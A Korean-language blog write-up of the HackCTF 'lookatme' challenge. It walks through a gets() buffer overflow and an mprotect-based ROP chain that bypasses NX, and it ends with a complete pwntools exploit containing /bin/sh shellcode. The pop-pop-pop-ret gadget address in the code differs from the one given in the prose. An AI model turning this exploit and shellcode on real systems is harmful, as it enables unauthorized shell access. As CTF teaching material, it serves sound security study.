Execute
문제파일을 실행시키면 hellooooooooooo를 출력해주고 입력을 받는다. Dummy를 일정크기 이상 넣어주면 segmentaion fault가뜨는 것을 확인 할 수 있다.
Analyze
NX bit가 걸려있고 나머지는 다 풀려있는 것을 확인 할 수 있다.
Main
getegid함수를 통해 v5변수에 effective group id를 넣어준다. 그리고 setresgid함수를 통해 v5를 인자로 주어 현재 프로세스의 real user id effective user id, saved set-user-id를 설정해준다. 그리고 look at me 함수를 호출한다.
Look at me
Get 함수가 보이는 것으로 보아 여기서 buffer overflow를 트리거 할 수 있을 것 같다. v1의 선언 위치가 ebp-0x18이고 32bit임로 0x18+x0x4의 dummy로 return address를 통제 할 수 있을 것이다.
solve
이제 flag를 확인 할 방법을 확인해야한다. 먼저 함수중에 flag를 출력해주거나 shell을 얻을 수 있는 함수가 있는지 확인 해보자.
함수의 종류가 굉장히 많이 보이는데 이는 해당 바이너리가 동적으로 링크된 것이 아닌 정적으로 링크되었기 때문이다. system함수 역시 없는 것을 확인 할 수 있다.
따라서 다른 방법을 생각 해야 하는데 nxbit를 우회할 수 있는 방법을 찾던중 mprotect함수를 확인 할 수 있었다.
해당함수는 원하는 코드 영역의 권한을 변경 할 수 있는 함수이다. 따라서 특정영역에 shellcode를 올려놓고 실행권한을 주면 shell을 얻을 수 있을 것이다.
int mprotect(void *addr, size_t len, int prot);
해당 함수로 addr에 원하는 주소를 넣고 len에 크기 prot에 권한을 주면 된다. 주의할 점은 addr에 0x1000의 배수로 인자를 전달 해 주어야한다.
이제 어떤 영역에 실행권한을 줘서 shellcode를 올릴지 생각해야한다. 현재 서버에 ASLR이 걸려있으므로 stack heap library영역에서는 랜덤하게 맵핑되서 주소를 구해줘야 한다. 따라서 앞서 PIE가 풀려있었으므로 bss영역에 shellcode를 올리면 될 것이다.
시나리오는 아래와 같다.
- dummy를 통해 ret에 대한 제어권을 얻는다.
- Ret에 get함수를 넣는다.
- Ret+4에 bss의 address를 넣는다.
- Ret+8에 pop ret 가젯을 넣는다.
- Ret+12에 mprotect 함수를 넣는다.
- Ret+16에 pop pop pop ret 가젯을 넣는다.
- Ret+20에 bss_start의 address를 넣는다.
- Ret+24에 크기를 넣어준다.
- Ret+28에 권한값을 넣어준다. 7을 주면 rwx모두 들어간다.
- Ret+32에 bss의 주소를 넣어준다.
이제 사용할 가젯 pop ret와 pop pop pop ret를 구해보자.
Pop ret : 0x080681c0
Pop pop pop ret : 0x08063039
다음으로 bss영역의 address를 찾아야한다.
bss영역의 주소가 확인 된다.
이제 나머지 get함수의 address나 mprotect함수의 address등은 pwntools를 통해 따로 구하지 않고 바로 사용할 것이다.
Payload의 구성을 다음과 같다.
Dummy(28byte)+get_addr+ pop ret + bss_addr + mprotect_addr + pop pop pop ret + bss_start + size+ rwx + bss
bss와 bss_start를 굳이 나눠서 사용하는 이유는 mprotect에서 addr인자는 0x1000의 배수여야 하기 떄문이다. Shellcode는 웹 상에 있는 32bit /bin/sh shellcode를 사용하였다.
Exploit은 아래와 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF('./lookatme')
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
mprotect = e.symbols['mprotect']
gets = e.symbols['gets']
bss = 0x080eaf80
bss_start = 0x080ea000
pr = 0x080681c0
pppr = 0x08053d80
payload = b"a"*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
성공적으로 shell을 얻고 flag를 출력할수 있는 것을 확인 할 수 있다.
Nxbit를 우회할 수 있는 새로운 방법을 알아서 좋은 것 같다.
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF - RTL_core] (0) | 2021.01.16 |
---|---|
[Hack CTF – poet] (0) | 2021.01.15 |
[Hack CTF - g++pwn] (1) | 2021.01.11 |
[Hack CTF - RTL_World] (2) | 2021.01.10 |
[Hack CTF - yes or no] (0) | 2021.01.09 |